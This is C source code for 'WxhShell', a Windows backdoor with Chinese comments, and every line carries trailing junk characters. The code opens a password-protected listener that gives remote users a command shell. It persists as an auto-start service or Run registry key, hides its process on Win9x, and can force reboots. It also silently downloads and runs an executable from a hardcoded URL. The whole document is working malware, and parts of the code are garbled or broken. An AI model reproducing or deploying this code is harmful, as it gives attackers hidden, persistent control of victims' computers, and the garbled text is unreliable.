    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zm'::+ tl  
    if(Boot(SHUTDOWN)) wBaFC\CW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 97@?QI}  
    else { QSQ\@h;E  
    closesocket(wsh); k>@^M]%  
    ExitThread(0); MyS7AL   
    } ' c\TMb.  
    break; b|C,b"$N0  
    } XdXS^QA .s  
  // 获取shell N4JL.(m){I  
  case 's': { (VF4]  
    CmdShell(wsh); jjlCi<9CQ^  
    closesocket(wsh); ;`Ch2b1+  
    ExitThread(0); $/sZYsN~T  
    break; Q\th8/ /  
  } 'm.XmVZL%  
  // 退出 2SCf]&  
  case 'x': { {?M*ZRO'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jd_1>p  
    CloseIt(wsh); Ih0> ]h-7  
    break; sA7K ;J})  
    } }u$a PS<$!  
  // 离开 ?z36mj"`o  
  case 'q': { i /U{dzZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t 1'or  
    closesocket(wsh); $@!&ML  
    WSACleanup(); ?^A:~"~  
    exit(1); ,lGwW8$R  
    break; 61;5Yo  
        } Wn</",Gf  
  } 1OGv+b)  
  } g KY ,G  
wEn&zZjx  
  // 提示信息 ktJLp Z<0O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 79fyn!Iz<  
} BY2txLLB  
  } a[9OtZX<  
uS10P7N}  
  return; 9>Z#o<*_/  
} g?Ty5~:lq  
n \NDi22  
// shell模块句柄 xaaxj  
int CmdShell(SOCKET sock) 5nw9zW :'  
{ [ ESQD5&  
STARTUPINFO si; o sH,(\4_  
ZeroMemory(&si,sizeof(si)); @(5RAYRV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "k@/Z7=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J A2}  
PROCESS_INFORMATION ProcessInfo; ^bw~$*"j#  
char cmdline[]="cmd"; vX)Y%I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ap_+C~%+  
  return 0; ?B4QTx9B  
} /9^0YC;Y*  
N.cRZm%  
// 自身启动模式 WK5bt2x  
int StartFromService(void) EjCs  
{ U.9nHo{  
typedef struct ~a|Q[tiV]  
{ yKy)fn!  
  DWORD ExitStatus; {.)~4.LhQM  
  DWORD PebBaseAddress; 5~6y.S  
  DWORD AffinityMask; T$B4DQ  
  DWORD BasePriority; ;a77YL TQ  
  ULONG UniqueProcessId; &3/H P)*<]  
  ULONG InheritedFromUniqueProcessId; f }e7g d]M  
}   PROCESS_BASIC_INFORMATION; *wx^mB9  
+Rd{ ?)2~  
PROCNTQSIP NtQueryInformationProcess; l3$?eGGM  
p ;01a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t`D@bzLC%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f}uCiV!?v  
Bnc  
  HANDLE             hProcess; 89dC bF3b  
  PROCESS_BASIC_INFORMATION pbi; AH,F[ vS  
:Bc;.%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !(tJZ5  
  if(NULL == hInst ) return 0; +\m!# CSA  
eW<hC (  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); No+zw%l0E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $h f\ #'J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nd)o1 {I  
?*dx=UI  
  if (!NtQueryInformationProcess) return 0; j> M%?Tw  
tq93 2M4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M_uij$1-  
  if(!hProcess) return 0; #&gy@!a~  
PUo&>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; . 2Q/D?a  
7K4%`O  
  CloseHandle(hProcess); hY'%SV p  
;sJ2K"c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _P+|tW1  
if(hProcess==NULL) return 0; F`3As 9b:  
pr?(5{BL  
HMODULE hMod; 9(]j e4Cn  
char procName[255]; P;[mw(  
unsigned long cbNeeded; 4h(Hy&1C  
hQeZI+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?uv%E*TU  
2F]MzeW  
  CloseHandle(hProcess); s o s&  
34+}u,=  
if(strstr(procName,"services")) return 1; // 以服务启动 Fb-TCq1y#  
>iV(8EgBS  
  return 0; // 注册表启动 IA!Kp g W  
} EeJ] > 1  
lvffQ_t  
// 主模块 =Q/i< u  
int StartWxhshell(LPSTR lpCmdLine) exvsf|  
{ zt6ep=  
  SOCKET wsl; #nz$RJsX  
BOOL val=TRUE; 3~'F^=T.Y  
  int port=0; XCoOs<O:@  
  struct sockaddr_in door; &GAx*.L  
aKZD4;  
  if(wscfg.ws_autoins) Install(); [?2mt`g  
c9 c Nlp  
port=atoi(lpCmdLine); Pl>t\`1:|A  
BO|Jrr>  
if(port<=0) port=wscfg.ws_port; =)LpMTz  
{5`?0+  
  WSADATA data; XjNu|H/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $x*GvI1D  
r Y.:}D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,j<"~"] =  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,)G,[ih  
  door.sin_family = AF_INET; b*i+uV?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &kBs'P8>  
  door.sin_port = htons(port); !8].Z"5J  
 =%`"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zKr(Gt8  
closesocket(wsl); [x,&Gwa  
return 1; K<(R Vh  
} [OSUARm v  
29oEkaX2o  
  if(listen(wsl,2) == INVALID_SOCKET) { ]Re<7_xt  
closesocket(wsl); xOlkG*3c  
return 1; g11K?3*%Q  
} g(^l>niF:  
  Wxhshell(wsl); =\.|'  
  WSACleanup(); w8Yff[o  
|Sq>uC)  
return 0; ?9cy5z[  
b :00w["  
} JZ [&:  
L`v,:#Y   
// 以NT服务方式启动 q)X&S*-<o~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w93,N+es6  
{ *yx:nwmo  
DWORD   status = 0; FqfeH_-U  
  DWORD   specificError = 0xfffffff; l(W3|W#P  
G 2##M8:U0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OJaU,vQ#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (XQG"G%U6W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qd&j~cG@  
  serviceStatus.dwWin32ExitCode     = 0; so*7LM?ib>  
  serviceStatus.dwServiceSpecificExitCode = 0; \9DTf:!4Z  
  serviceStatus.dwCheckPoint       = 0; |rQ;|+.  
  serviceStatus.dwWaitHint       = 0; "fdG5|NJe  
{H74`-C)W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); < jF<_j  
  if (hServiceStatusHandle==0) return; n >'}tT)U  
#XZ?,neY  
status = GetLastError(); `4MPXfoBL  
  if (status!=NO_ERROR) K""04Ew*pV  
{ [@czvPi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AyUVsIuPT=  
    serviceStatus.dwCheckPoint       = 0; vjb{h'v  
    serviceStatus.dwWaitHint       = 0; :Pv{ E  
    serviceStatus.dwWin32ExitCode     = status; js j" W&J  
    serviceStatus.dwServiceSpecificExitCode = specificError; [(XKqiSV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X%sc:V  
    return; c<=1,TB"-_  
  } U\N`[k.F  
bZ)Jgz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;FU d.vg{  
  serviceStatus.dwCheckPoint       = 0; n"JrjvS  
  serviceStatus.dwWaitHint       = 0; Kfh"XpWc$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6 S8#[b  
} [(hENX}o :  
(Jm_2CN7X  
// 处理NT服务事件,比如:启动、停止 E+gUzz5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B^ h!F8DC  
{ @4pN4v8U  
switch(fdwControl) chy7hPxC;  
{ )u$A!+fo  
case SERVICE_CONTROL_STOP: N.]8qzW  
  serviceStatus.dwWin32ExitCode = 0; =B\ ?(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hn-S$3')`  
  serviceStatus.dwCheckPoint   = 0; ;rX4${h  
  serviceStatus.dwWaitHint     = 0; X!m/I i$q  
  { ty ~U~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^t"\PpmK<d  
  } AbB%osz}Ed  
  return; >.A{=?   
case SERVICE_CONTROL_PAUSE: 2&M 8Wb#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UX6-{ RP  
  break; 28-@Ga4  
case SERVICE_CONTROL_CONTINUE: *k/_p ^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jm!G@k6TA  
  break; W;1Hyk  
case SERVICE_CONTROL_INTERROGATE: CzgLgh;:T  
  break; 0R.@\?bhL  
}; +ad 2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2 IGAZ%%  
} MkQSq MU=  
Kxg09\5i  
// 标准应用程序主函数 rei<{woX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \(Iy>L.  
{ Ut<_D8Tzx  
3KGDS9I  
// 获取操作系统版本 c7'Pzb)'  
OsIsNt=GetOsVer(); hod|o1C&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q o'1Pknz  
"|hmiMdGB  
  // 从命令行安装 tw;`H( UZ^  
  if(strpbrk(lpCmdLine,"iI")) Install(); W6Hiqu+  
2a{eJ89f  
  // 下载执行文件 wFh{\  
if(wscfg.ws_downexe) { DpA)Z ??  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?wmr~j  
  WinExec(wscfg.ws_filenam,SW_HIDE); j0Q ;OKu  
} aw(P@9]  
RAe:$Iv$!v  
if(!OsIsNt) { @r#>-p  
// 如果时win9x,隐藏进程并且设置为注册表启动 WHU& 9N  
HideProc(); 419t"1b  
StartWxhshell(lpCmdLine); U!('`TYe  
} )J 0'We  
else D.RHvo~6  
  if(StartFromService()) ) +{'p0  
  // 以服务方式启动 MVV<&jho{^  
  StartServiceCtrlDispatcher(DispatchTable); T\OLysc  
else bY#>   
  // 普通方式启动 &D/_@\ 0  
  StartWxhshell(lpCmdLine); BH=vI<D  
srUpG&Bcx  
return 0; &0M^UvO  
} tvI~?\Ylj  
<MY_{o8d  
QQqWJq~  
o#G7gzw)  
=========================================== Dk:Zeo]+my  
!IP[C?(nB  
,rQznE1e  
'H+pwp"M@  
 F`f#gpQ  
R7+k=DI  
" ! XA07O[@  
e%"L79Of6)  
#include <stdio.h> ceAK;v o  
#include <string.h> lv,<[Hw1  
#include <windows.h> < jfi"SJu  
#include <winsock2.h> 2U i)'0  
#include <winsvc.h> {4UlJ,Z.n  
#include <urlmon.h> x2;92I{5C,  
QO0T<V  
#pragma comment (lib, "Ws2_32.lib") BH\qm (X  
#pragma comment (lib, "urlmon.lib") aiea& aJ  
zf#V89!]C"  
#define MAX_USER   100 // 最大客户端连接数 j&ddpS(s  
#define BUF_SOCK   200 // sock buffer 4u A ;--j  
#define KEY_BUFF   255 // 输入 buffer g {wDI7"<q  
JeuW/:Wv  
#define REBOOT     0   // 重启 &`{%0r[UD#  
#define SHUTDOWN   1   // 关机 87y$=eZ  
Jo_h?{"L{  
#define DEF_PORT   5000 // 监听端口 s>^*GQw  
(Zx;GS  
#define REG_LEN     16   // 注册表键长度 zkB_$=sbn#  
#define SVC_LEN     80   // NT服务名长度 SxNs  
8 z\WyDz  
// 从dll定义API cvi+AZ=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C^]bXIb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J=5G<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5{VrzzOK}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9_oIAn:<  
o1 QK@@}  
// wxhshell配置信息 -_v[oqf$  
struct WSCFG { Ust>%~<  
  int ws_port;         // 监听端口 P6dIU/w  
  char ws_passstr[REG_LEN]; // 口令 h$y1"!N(  
  int ws_autoins;       // 安装标记, 1=yes 0=no (:-=XR9A`  
  char ws_regname[REG_LEN]; // 注册表键名 yin"+&<T  
  char ws_svcname[REG_LEN]; // 服务名 }B^KV#_{S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L9&Z?$6J_p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t: r   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <5G*#0gw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i e%ZX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qVx0VR1:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8g^OXZ   
c(i-~_  
}; s9zdg"c'  
0O|T\E8 e  
// default Wxhshell configuration e%o6s+"  
struct WSCFG wscfg={DEF_PORT, >DpnIWn  
    "xuhuanlingzhe", rQ LNo,  
    1, pO4}6\1\  
    "Wxhshell", ?E=&LAI#  
    "Wxhshell", P%(pbG-X.  
            "WxhShell Service", ZoF\1C ^  
    "Wrsky Windows CmdShell Service", ^3F[^#"  
    "Please Input Your Password: ", 0l!@bj  
  1, 26&^n Uy  
  "http://www.wrsky.com/wxhshell.exe", AS'a'x>8>,  
  "Wxhshell.exe" 79z(n[^  
    }; Xq1n1_Z  
52,pCyU  
// 消息定义模块 wqK>=Ri_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [-=PK\ B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Rq<T2}K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ay22-/C|@  
char *msg_ws_ext="\n\rExit."; V.>'\b/#  
char *msg_ws_end="\n\rQuit."; mN!>BqvN  
char *msg_ws_boot="\n\rReboot..."; ;N6L`|  
char *msg_ws_poff="\n\rShutdown..."; Y6,< j|  
char *msg_ws_down="\n\rSave to "; p (:\)HP)R  
8(\Az5%  
char *msg_ws_err="\n\rErr!"; [89#8|+  
char *msg_ws_ok="\n\rOK!"; (Rve<n6{A  
; P&K a  
char ExeFile[MAX_PATH]; W:ih#YW_F  
int nUser = 0; %DbL|;z1  
HANDLE handles[MAX_USER]; y!h$Z6.  
int OsIsNt; g < M\zD  
l!EfvqWX  
SERVICE_STATUS       serviceStatus; ,0[bzk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [j`It4^nC  
n'U*8ID  
// 函数声明 "9>~O`l,  
int Install(void); IF(W[J  
int Uninstall(void); y}R{A6X)  
int DownloadFile(char *sURL, SOCKET wsh); Ot`jjZ&  
int Boot(int flag); GTyS8`5E*  
void HideProc(void); j|A *rzL8  
int GetOsVer(void); >t2 0GmmN  
int Wxhshell(SOCKET wsl); Ky[/7S5E  
void TalkWithClient(void *cs); "W?k~.uw  
int CmdShell(SOCKET sock); <}L`d(E@f  
int StartFromService(void); SL? ! RQ  
int StartWxhshell(LPSTR lpCmdLine); D: NBb!   
K, WNM S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "[q/2vC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FAzshR  
k9vr6We'  
// 数据结构和表定义  I QS|  
SERVICE_TABLE_ENTRY DispatchTable[] = lc,{0$ 1<  
{ ={o>g '  
{wscfg.ws_svcname, NTServiceMain}, s =! y%  
{NULL, NULL} 'p80X^g  
}; 7%c9 nY  
#KF:(2  
// 自我安装 *RD9 gIze  
int Install(void) dP=1*  
{ _>9|"seR  
  char svExeFile[MAX_PATH]; DGz'Dn  
  HKEY key; ,2qJXMg"=$  
  strcpy(svExeFile,ExeFile); |<96H8  
U}x2,`PI  
// 如果是win9x系统,修改注册表设为自启动 h \hQ  
if(!OsIsNt) { 5?&k? v@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rW0# 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cZuZfMDM  
  RegCloseKey(key); J^R))R=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @F]6[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <UQaRI[55  
  RegCloseKey(key); w}c1zpa  
  return 0; Ol`/r@s  
    } >0k7#q}O  
  } 7hZCh,O  
} 2Vxr  
else { @NWjYHM[`  
2`Ub;Nn29  
// 如果是NT以上系统,安装为系统服务 4_Tx FulX.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WO?EzQ ?  
if (schSCManager!=0) R]VY PNns  
{ zW,m3~XX:  
  SC_HANDLE schService = CreateService O8(;=exA  
  ( 1mm/Ssw:C  
  schSCManager, OmQSNU.our  
  wscfg.ws_svcname, UO47XAO  
  wscfg.ws_svcdisp, TG8QT\0G  
  SERVICE_ALL_ACCESS, UTGR{>=>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OkGg4X|9  
  SERVICE_AUTO_START, 8  k9(iS  
  SERVICE_ERROR_NORMAL, nyWA(%N1  
  svExeFile, qL091P\F  
  NULL, {+r pMUs#  
  NULL, rk*Igqf  
  NULL, Q#wASd.  
  NULL, _iLXs  
  NULL ^n!{ vHz  
  ); iJv4%|9  
  if (schService!=0) b#(SDNo6  
  { [yM{A<\L  
  CloseServiceHandle(schService); 'g$~ij ;x  
  CloseServiceHandle(schSCManager); Q:& ,8h[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~Z!xS  
  strcat(svExeFile,wscfg.ws_svcname); <6Q]FH!6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |}b~ss^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )tl=tH/$  
  RegCloseKey(key); S}gUz9ks  
  return 0; H=?v$! i  
    } 0 60<wjX6  
  } l~!Tnp\M  
  CloseServiceHandle(schSCManager); ~ nNsq(4  
} _6Wz1.]n  
} HK) $ls  
j*t>CB4  
return 1; r5%K2q{  
} gRIRc4p  
\u ?z:mV  
// 自我卸载 ;W]NT 4p  
int Uninstall(void) Y$uXBTR`y/  
{ oe_l:Y%  
  HKEY key; GzWmXm  
q{@j$fMt0  
if(!OsIsNt) { LH@)((bi4v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E#JDbV1AC  
  RegDeleteValue(key,wscfg.ws_regname); 1fM= >Z  
  RegCloseKey(key); "5C)gxI^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `~vqu69MF9  
  RegDeleteValue(key,wscfg.ws_regname); U~-Z`_@^-  
  RegCloseKey(key); rQg7r>%Q  
  return 0; <&\HXAOd  
  } . \M@oF  
} z=<x.F  
} `=Pn{JaD  
else { Izm8 qt=m  
xfCq;?MupW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); REDh`Wd  
if (schSCManager!=0) Ay;=1g)8+f  
{ p)vyZY[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dFD0l?0N  
  if (schService!=0) !^cQPX2<  
  { ]^$&Ejpe#  
  if(DeleteService(schService)!=0) { =;!C7VS  
  CloseServiceHandle(schService); A]`63@-.  
  CloseServiceHandle(schSCManager); wr,X@y%(!  
  return 0; i`Fg kABw  
  } |B<+Y<)f^  
  CloseServiceHandle(schService); VJ;n0*/  
  } *X8<hYKZq  
  CloseServiceHandle(schSCManager); vT"T*FKh:  
} J @C8;]  
} |VbF&*v`  
#X'!wr|-  
return 1; P0uUVU=B|  
} @;2,TY>Di  
8`XpcK-0  
// 从指定url下载文件 zRN_` U  
int DownloadFile(char *sURL, SOCKET wsh) 0^nnR7  
{ Z7% |'E R  
  HRESULT hr; w]X~I/6g  
char seps[]= "/"; T V\21  
char *token; ?VS(W  
char *file; c7X5sMM,  
char myURL[MAX_PATH]; b/cc\d<  
char myFILE[MAX_PATH]; T5?@'b8F6  
`=0}+  
strcpy(myURL,sURL); Q!(16  
  token=strtok(myURL,seps); tNg}: a|J  
  while(token!=NULL) ]u  4  
  { KZUB{Y^)  
    file=token; fw kX-ON  
  token=strtok(NULL,seps); $HT {}^B  
  } e8 4[B.  
[}q6bXM*  
GetCurrentDirectory(MAX_PATH,myFILE); ;W,XP#{W  
strcat(myFILE, "\\"); \M(0@#-$C  
strcat(myFILE, file); Eh&*"&fHR  
  send(wsh,myFILE,strlen(myFILE),0); 0G ^73Z  
send(wsh,"...",3,0); |S[Gg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LPX@oha  
  if(hr==S_OK) {;1Mud  
return 0; hZf0q 2  
else LnP={s  
return 1; 0*S]m5#;  
W- 5Z"m1I  
} O`1_eK~1<  
d|CSWcU  
// 系统电源模块 H4p N+  
int Boot(int flag) !]=  
{ y<jW7GNt  
  HANDLE hToken; "4"gHs  
  TOKEN_PRIVILEGES tkp; d?^bCf+<  
]8FSs/4  
  if(OsIsNt) { @T[}] e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aal5d_Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aF1i!Z  
    tkp.PrivilegeCount = 1; !PJD+SrG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v MTWtc!6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \9T CP;{  
if(flag==REBOOT) { /\P3UrQ&]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z~)Bh~^A  
  return 0; B 3<T#  
} hvCX,^LoJ  
else { hbdq'2!Qr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 89ivyv;]U  
  return 0; XA75tU[#  
} ? hU0S  
  } GyQu?`  
  else { s)X'PJ0&Bs  
if(flag==REBOOT) { ``KimeA~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'oSs5lW  
  return 0; k/bY>FY2r  
} $?RxmWsP  
else { &6 .r=,BO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w6 0I;.hy  
  return 0; jx B  
} :H($|$\h  
} E wDFUK  
 V9\g?w  
return 1; Z9TmX A@  
} NT+%u-  
|35"V3bs  
// win9x进程隐藏模块 a oj6/  
void HideProc(void) | LdDL953  
{ 1}nrVn[B9  
~k>H4hV3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ? IgM=@  
  if ( hKernel != NULL ) KqC8ozup  
  { '| (#^jAj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8U}BSM_<2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MNd8#01q`  
    FreeLibrary(hKernel); {jB& e,  
  }  _0^f  
%%`Q5I  
return; /J{ e _a  
} zIc%>?w  
#+dF3]X(&  
// 获取操作系统版本 AmYqrmJ  
int GetOsVer(void) A/ppr.  
{ RMJq9a  
  OSVERSIONINFO winfo; lS<T|:gz@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @BCws )  
  GetVersionEx(&winfo); nGb%mlb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h# R;'9*V  
  return 1; j$v2_q  
  else $&D$Uc`U>  
  return 0; vX|i5P0)8  
} 0'&N?rS  
h\C" ti2  
// 客户端句柄模块  %T9'dcM  
int Wxhshell(SOCKET wsl) fsd,q?{a:  
{ K(bid0 Y  
  SOCKET wsh; !F ]7q]g  
  struct sockaddr_in client; `-Yo$b;:  
  DWORD myID; z*,P^K 0T  
rBNl%+ sB  
  while(nUser<MAX_USER) AcC'hr.N+  
{ I !\;NVhv  
  int nSize=sizeof(client); |ci1P[y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3O %u?  
  if(wsh==INVALID_SOCKET) return 1; ~J #^L*  
rqa?A }'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qu>5 rg-  
if(handles[nUser]==0) EPO*{bN7O  
  closesocket(wsh); ~+ _|J"\  
else $'m&RzZ  
  nUser++; %K@s0uQ  
  } bWp40&vx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ynkPI6o  
J*4byu|  
  return 0; }M_Yn0(3  
} #"PI%&  
(H=7(  
// 关闭 socket z +NxO !y  
void CloseIt(SOCKET wsh) oEfy{54  
{ @|A w T  
closesocket(wsh); c;RB!`9"  
nUser--; &dA{<.  
ExitThread(0); [Ol}GvzJ7  
} (jQ]<q%P  
R^t )~\d  
// 客户端请求句柄 #L,>)XkjS  
void TalkWithClient(void *cs) wD9Gl.uQ  
{ x[%z \  
JjO="Cmk/  
  SOCKET wsh=(SOCKET)cs; gD$bn=  
  char pwd[SVC_LEN];  x!)[l;  
  char cmd[KEY_BUFF]; "v%|&@  
char chr[1]; R 2.y=P8N  
int i,j; XLG6f(B=F  
z 'iAj  
  while (nUser < MAX_USER) { >LqW;/&S<  
ZAK NyA2  
if(wscfg.ws_passstr) { cSMiNR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |[%CFm}+?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QY$Z,#V)  
  //ZeroMemory(pwd,KEY_BUFF); 8vP:yh@  
      i=0; MqA%hlq  
  while(i<SVC_LEN) { |ji={  
?U}Ml]0~  
  // 设置超时 bKAR}JM&  
  fd_set FdRead; ry99R|/d1  
  struct timeval TimeOut; P.8CFl X  
  FD_ZERO(&FdRead); 'a&(r;  
  FD_SET(wsh,&FdRead); =aL=SC+  
  TimeOut.tv_sec=8; .W[[Z;D  
  TimeOut.tv_usec=0; IdY\_@$ v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hSBR9g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 49/j9#hr  
/3]b!lFZZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jGp|:!'w  
  pwd=chr[0]; .JkcCEe{G  
  if(chr[0]==0xd || chr[0]==0xa) { D7'P^*4_B  
  pwd=0; Yh^~4S?  
  break; 0zscOE{  
  } ?/EyfTex  
  i++; Ds}ctL{6"  
    } cwe@W PE2  
$s[DT!8N  
  // 如果是非法用户,关闭 socket #zRT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,F4 _ps?(  
} qa|"kRCO  
VW," dmC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7mUpn:U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  'Dh+v3O  
N sUFM  
while(1) { w-[A"M]I  
@(;zU~l/  
  ZeroMemory(cmd,KEY_BUFF); yP&SA+  
"0ITW46n  
      // 自动支持客户端 telnet标准   HOEjLwH  
  j=0; )JYt zc  
  while(j<KEY_BUFF) { #gHs!b-g@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |?a 4Nl?  
  cmd[j]=chr[0]; n\U3f M>N  
  if(chr[0]==0xa || chr[0]==0xd) { mAI<zh&SQ  
  cmd[j]=0; )isJ^ *6y  
  break; |l*#pN&L  
  } ."8bW^:  
  j++; W ix/Az  
    } \5k^zGF4o  
Y<A593  
  // 下载文件 g91X*$`]  
  if(strstr(cmd,"http://")) { @A-*XJNS":  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Iy2KOv@a5  
  if(DownloadFile(cmd,wsh)) %Pz'D6 /  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f]P&>j|  
  else d8Keyi8[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O{B[iy(C  
  } EQ;,b4k?&g  
